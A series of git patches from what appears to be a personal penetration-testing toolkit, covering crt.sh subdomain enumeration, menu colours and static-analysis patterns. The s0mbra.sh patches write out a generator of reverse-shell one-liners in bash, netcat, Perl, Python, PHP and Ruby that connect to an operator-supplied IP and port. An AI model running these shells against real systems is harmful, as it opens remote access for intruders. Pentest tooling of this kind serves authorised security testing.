--- crater.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100755 crater.py diff --git a/crater.py b/crater.py new file mode 100755 index 0000000..cbf2554 --- /dev/null +++ b/crater.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 +import sys +import requests + + +domain = sys.argv[1] +base_url = "https://crt.sh/?q={}&output=json".format(domain) + +resp = requests.get(base_url) + +if resp.status_code == 200: + print(resp.content) + \ No newline at end of file From 41feb56b73dbef078f810c70dd865509709c66ab Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 27 Oct 2021 13:58:37 +0100 Subject: [PATCH 198/460] [crater] parse crt.sh result set --- crater.py | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/crater.py b/crater.py index cbf2554..0930b67 100755 --- a/crater.py +++ b/crater.py @@ -1,13 +1,21 @@ #!/usr/bin/env python3 import sys import requests - +import json domain = sys.argv[1] base_url = "https://crt.sh/?q={}&output=json".format(domain) +data = {} +extracted_domains = [] resp = requests.get(base_url) if resp.status_code == 200: - print(resp.content) - \ No newline at end of file + data = json.loads(resp.content.decode('utf-8')) + for elem in data: + if elem['name_value'] not in extracted_domains: + extracted_domains.append(elem['name_value']) + + print(extracted_domains) +else: + print("[-] No data retrieved for domain {}".format(domain)) From 27d2cf7ebf85b1ee27b1935d12f0d73243feba23 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Oct 2021 11:30:29 +0100 Subject: [PATCH 199/460] [Denumerator] Add -t/--target to use subdomain enumeration with crt.sh instead of file with results from other tool(s) --- crater.py | 21 --------------------- denumerator/denumerator.py | 35 ++++++++++++++++++++++++++++++++--- 2 files changed, 32 insertions(+), 24 deletions(-) delete mode 100755 crater.py diff --git a/crater.py b/crater.py deleted file mode 100755 index 0930b67..0000000 --- a/crater.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python3 -import sys -import requests -import json - -domain = sys.argv[1] -base_url = "https://crt.sh/?q={}&output=json".format(domain) -data = {} -extracted_domains = [] - -resp = requests.get(base_url) - -if resp.status_code == 200: - data = json.loads(resp.content.decode('utf-8')) - for elem in data: - if elem['name_value'] not in extracted_domains: - extracted_domains.append(elem['name_value']) - - print(extracted_domains) -else: - print("[-] No data retrieved for domain {}".format(domain)) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 45daf8b..3eb0fff 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -25,6 +25,8 @@ import subprocess import time import requests +import json + from datetime import datetime welcome = """ --- dENUMerator --- @@ -410,13 +412,37 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, pass +def enumerate_from_crt_sh(domain): + ''' + Perform subdomains enumeration using crt.sh service + ''' + base_url = "https://crt.sh/?q={}&output=json".format(domain) + data = {} + extracted_domains = [] + + resp = requests.get(base_url) + + if resp.status_code == 200: + data = json.loads(resp.content.decode('utf-8')) + for elem in data: + if elem['name_value'] not in extracted_domains: + extracted_domains.append(elem['name_value']) + + print(extracted_domains) + else: + print("[-] No data retrieved for domain {}".format(domain)) + + return [] + def main(): parser = argparse.ArgumentParser() allowed_http_responses = [] parser.add_argument( - "-f", "--file", help="File with list of hostnames") + "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored") + parser.add_argument( + "-t", "--target", help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( @@ -453,10 +479,13 @@ def main(): # set options show = True if args.success else False - if args.file is not None and os.path.isfile(args.file): + # use provided file with list of hostnames or perform subdomain enumeration with crt.sh: + if args.target is None and args.file is not None and os.path.isfile(args.file): domains = open(args.file, 'r').readlines() + elif args.target is not None and args.file is None: + domains = enumerate_from_crt_sh(args.target) else: - exit('[-] Can not open {} file with domains list :/'.format(args.file)) + exit('[-] No file with hostnames or domain to recon. Use either -f or -t option') # create dir for HTML report if os.path.isdir('reports') == False: From 9dd4948d34f43de93cdb0cd90ef8f8cc42570271 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Oct 2021 11:47:25 +0100 Subject: [PATCH 200/460] [Denumerator] bugfixes for crt.sh; output improvements --- denumerator/denumerator.py | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 3eb0fff..ff05484 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -20,13 +20,13 @@ $ ./denumerator.py [domain_list_file] """ + import argparse import os import subprocess import time import requests import json - from datetime import datetime welcome = """ --- dENUMerator --- @@ -57,8 +57,7 @@ "magenta": '\33[35m', "cyan": '\33[36m', "grey": '\33[90m', - "lightgrey": '\33[37m', - "lightblue": '\33[94' + "lightgrey": '\33[37m' } requests.packages.urllib3.disable_warnings() @@ -334,7 +333,7 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses 'https': 'https://' } - print('\t--> {}{}'.format(protocols.get(proto.lower()), domain)) + print('\t--> {}{}{}{}'.format(colors['magenta'], protocols.get(proto.lower()), domain, colors['white'])) resp = requests.get(protocols.get(proto.lower()) + domain, timeout=timeout, @@ -418,21 +417,23 @@ def enumerate_from_crt_sh(domain): ''' base_url = "https://crt.sh/?q={}&output=json".format(domain) data = {} - extracted_domains = [] + enumerated_subdomains = [] resp = requests.get(base_url) if resp.status_code == 200: data = json.loads(resp.content.decode('utf-8')) for elem in data: - if elem['name_value'] not in extracted_domains: - extracted_domains.append(elem['name_value']) + if elem['common_name'] not in enumerated_subdomains: + enumerated_subdomains.append(elem['common_name']) - print(extracted_domains) + if len(enumerated_subdomains) > 0: + print("{}[+] Done! Found {} subdomains, performing HTTP servers enumeration...{}".format( + colors['cyan'], len(enumerated_subdomains), colors['white'])) + return enumerated_subdomains else: - print("[-] No data retrieved for domain {}".format(domain)) + exit("[-] No data retrieved for domain {}".format(domain)) - return [] def main(): @@ -482,7 +483,7 @@ def main(): # use provided file with list of hostnames or perform subdomain enumeration with crt.sh: if args.target is None and args.file is not None and os.path.isfile(args.file): domains = open(args.file, 'r').readlines() - elif args.target is not None and args.file is None: + elif args.target is not None and args.file is None: domains = enumerate_from_crt_sh(args.target) else: exit('[-] No file with hostnames or domain to recon. Use either -f or -t option') From 3f21c85f434378dc7b50b133bdfdc7a817c88d30 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 29 Oct 2021 17:30:31 +0100 Subject: [PATCH 201/460] [s0mbra] Updated reverse shells --- s0mbra.sh | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1906126..cba96a3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -74,7 +74,6 @@ full_nmap_scan() { echo -e "[+] Done!" } - # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then @@ -146,7 +145,6 @@ npm_scan() { echo -e "\n\n[+]Done." } - # static code analysis of single JavaScript code javascript_sca() { echo -e "$BLUE[+] Starting static code analysis of $1 file with nodestructor and semgrep...$CLR" @@ -163,7 +161,6 @@ privesc_tools_linux() { http 9119 } - # exposes folder with Windows PrivEsc tools on localhost:9119 privesc_tools_windows() { cd "$HACKING_HOME"/tools/Windows || exit @@ -247,7 +244,6 @@ nfs_enum() { echo -e "\n[+] Done." } - # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available # we can enumerate nfs shares available: subdomenum() { @@ -256,7 +252,6 @@ subdomenum() { echo -e "\n[+] Done." } - # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -399,7 +394,8 @@ generate_shells() { echo -e "\033[41m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" echo -e "\033[41m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "\033[41m[bash]\033[0m exec 5<>/dev/tcp/$1/$port | cat <&5 | while read line; do $line 2>&5 >&5; done" + echo -e "\033[41m[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "\033[41m[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" echo -e "$NEWLINE" echo -e "\033[42m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" echo -e "\033[42m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" @@ -408,6 +404,9 @@ generate_shells() { echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" echo -e "$NEWLINE" echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "$NEWLINE" echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" @@ -419,7 +418,6 @@ generate_shells() { echo -e "\033[46m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" echo -e "\033[46m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" echo -e "$NEWLINE" -} php7() { echo -e "$BLUE[+] Switching PHP version to 7.x ...\n$YELLOW" From 397916b687c2fa732e5228993d0f32575b5e50ac Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Oct 2021 13:26:06 +0100 Subject: [PATCH 202/460] [s0mbra] syntax error fix; adjust colors for generated shells categories --- s0mbra.sh | 41 +++++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index cba96a3..cca7850 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -392,32 +392,33 @@ generate_shells() { echo -e "$BLUE[+] OK, here are your shellz...\n$CLR" - echo -e "\033[41m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e "\033[41m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "\033[41m[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" - echo -e "\033[41m[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" + echo -e "\033[1;31m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "\033[1;31m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "\033[1;31m[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "\033[1;31m[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" echo -e "$NEWLINE" - echo -e "\033[42m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" - echo -e "\033[42m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "\033[42m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[1;34m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + echo -e "\033[1;34m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[1;34m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" echo -e "$NEWLINE" - echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" + echo -e "\033[1;36m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" echo -e "$NEWLINE" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "$NEWLINE" - echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" - echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" echo -e "$NEWLINE" - echo -e "\033[46m[netcat]\033[0m nc -e /bin/sh $1 $port" - echo -e "\033[46m[netcat]\033[0m nc -c /bin/sh $1 $port" - echo -e "\033[46m[netcat]\033[0m /bin/sh | nc $1 $port" - echo -e "\033[46m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" - echo -e "\033[46m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" + echo -e "\033[36m[netcat]\033[0m nc -e /bin/sh $1 $port" + echo -e "\033[36m[netcat]\033[0m nc -c /bin/sh $1 $port" + echo -e "\033[36m[netcat]\033[0m /bin/sh | nc $1 $port" + echo -e "\033[36m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" + echo -e "\033[36m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" echo -e "$NEWLINE" +} php7() { echo -e "$BLUE[+] Switching PHP version to 7.x ...\n$YELLOW" From 3420e97da560eccb7c070ee44ac9d3f669ff6c81 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 31 Oct 2021 21:56:52 +0000 Subject: [PATCH 203/460] [s0mbra] New menu colors --- s0mbra.sh | 59 +++++++++++++++++++++++++++++-------------------------- 1 file changed, 31 insertions(+), 28 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index cca7850..85de86f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -11,12 +11,15 @@ HACKING_HOME="/Users/bl4de/hacking" -GREEN='\033[1;32m' GRAY='\033[1;30m' RED='\033[1;31m' +GREEN='\033[1;32m' +LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' BLUE='\033[1;34m' +LIGHTBLUE='\033[34m' MAGENTA='\033[1;35m' +CYAN='\033[36m' CLR='\033[0m' NEWLINE='\n' @@ -545,41 +548,41 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" - echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\tquick_nmap_scan [IP] [*PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "\tfull_nmap_scan [IP] [*PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" - echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" + echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" + echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" - echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" - echo -e "\thttp [PORT]\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" - echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" - echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" - echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" + echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "\t$CYAN privesc_tools_linux $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" + echo -e "\t$CYAN privesc_tools_windows $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" + echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$BLUE:: SMB SUITE ::$CLR" - echo -e "\tsmb_enum [IP] [USER] [PASSWORD]\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "\tsmb_get_file [IP] [user] [password] [PATH] \t -> downloads file from SMB share [PATH] on [IP]" - echo -e "\tsmb_mount [IP] [SHARE] [USER]\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "\tsmb_umount\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" + echo -e "\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" + echo -e "\t$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" echo -e "$BLUE:: PASSWORDS CRACKIN' ::$CLR" - echo -e "\trockyou_john [TYPE] [HASHES]\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" - echo -e "\tssh_to_john [ID_RSA]\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" - echo -e "\trockyou_zip [ZIP file]\t\t\t\t -> crack ZIP password" + echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" + echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" + echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" - echo -e "\tnpm_scan [MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" - echo -e "\tjavascript_sca [FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" - echo -e "\tdecompile_jar [.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "\t$CYAN npm_scan $GRAY[MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" + echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" - echo -e "\tjadx [.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar" - echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" - echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" + echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" + echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t\t -> extracts APK file and run apktool on it" + echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\tfu [URL] [DICT] [*EXT/*ENDSLASH]\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "$BLUE:: MISC ::$CLR" - echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" - echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" + echo -e "\t$CYAN php7 $CLR\t\t\t\t\t\t -> switch PHP to version 7.x" + echo -e "\t$CYAN php8 $CLR\t\t\t\t\t\t -> switch PHP to version 8.x" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" ;; From 1619570e02e6e0c33890490af65480479123476f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 3 Nov 2021 11:03:09 +0000 Subject: [PATCH 204/460] [Nodestructor] Adjust some patterns --- nodestructor/nodestructor.py | 58 ++++++++++++++++++------------------ 1 file changed, 29 insertions(+), 29 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 2daa19d..9d0af7d 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -131,34 +131,34 @@ ".*setContent\(", ".*setHTML\(", ".*\.SafeString\(", - ".*jQuery.globalEval", + ".*globalEval", ".*execScript", - ".*element.insertAdjacentHTML", - ".*element.setAttribute.on", - "xhr.open", - "xhr.send", + ".*insertAdjacentHTML\(", + ".*setAttribute.on", + ".*xhr.open", + ".*xhr.send", "fetch", - "xhr.setRequestHeader.name", - "xhr.setRequestHeader.value", - "jQuery.attr.href", - "jQuery.attr.src", - "jQuery.attr.data", - "jQuery.attr.action", - "jQuery.attr.formaction", - "jQuery.prop.href", - "jQuery.prop.src", - "jQuery.prop.data", - "jQuery.prop.action", - "jQuery.prop.formaction", + ".*xhr.setRequestHeader.name", + ".*xhr.setRequestHeader.value", + ".*attr.href", + ".*attr.src", + ".*attr.data", + ".*attr.action", + ".*attr.formaction", + ".*prop.href", + ".*prop.src", + ".*prop.data", + ".*prop.action", + ".*prop.formaction", "form.action", - "input.formaction", - "button.formaction", - "button.value", - "element.setAttribute.href", - "element.setAttribute.src", - "element.setAttribute.data", - "element.setAttribute.action", - "element.setAttribute.formaction", + ".*input.formaction", + ".*button.formaction", + ".*button.value", + ".*setAttribute.href", + ".*setAttribute.src", + ".*setAttribute.data", + ".*setAttribute.action", + ".*setAttribute.formaction", "webdatabase.executeSql", "document.domain", "history.pushState", @@ -173,10 +173,10 @@ "localStorage.setItem.value", "sessionStorage.setItem.name", "sessionStorage.setItem.value", - "element.outerText", - "element.innerText", - "element.textContent", - "element.style.cssText", + ".*outerText", + ".*innerText", + ".*textContent", + ".*style.cssText", "RegExp" ] From 1e9748c0b358cb68ac737909db1af3e93d4b9276 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 3 Nov 2021 11:03:59 +0000 Subject: [PATCH 205/460] [Nodestructor] Adjust some patterns (cont.) --- nodestructor/nodestructor.py | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 9d0af7d..646b687 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -160,24 +160,24 @@ ".*setAttribute.action", ".*setAttribute.formaction", "webdatabase.executeSql", - "document.domain", - "history.pushState", - "history.replaceState", - "xhr.setRequestHeader", - "websocket", - "anchor.href", - "anchor.target", - "JSON.parse", - "document.cookie", - "localStorage.setItem.name", - "localStorage.setItem.value", - "sessionStorage.setItem.name", - "sessionStorage.setItem.value", + ".*document.domain", + ".*history.pushState", + ".*history.replaceState", + ".*setRequestHeader", + ".*websocket", + ".*anchor.href", + ".*anchor.target", + ".*JSON.parse", + 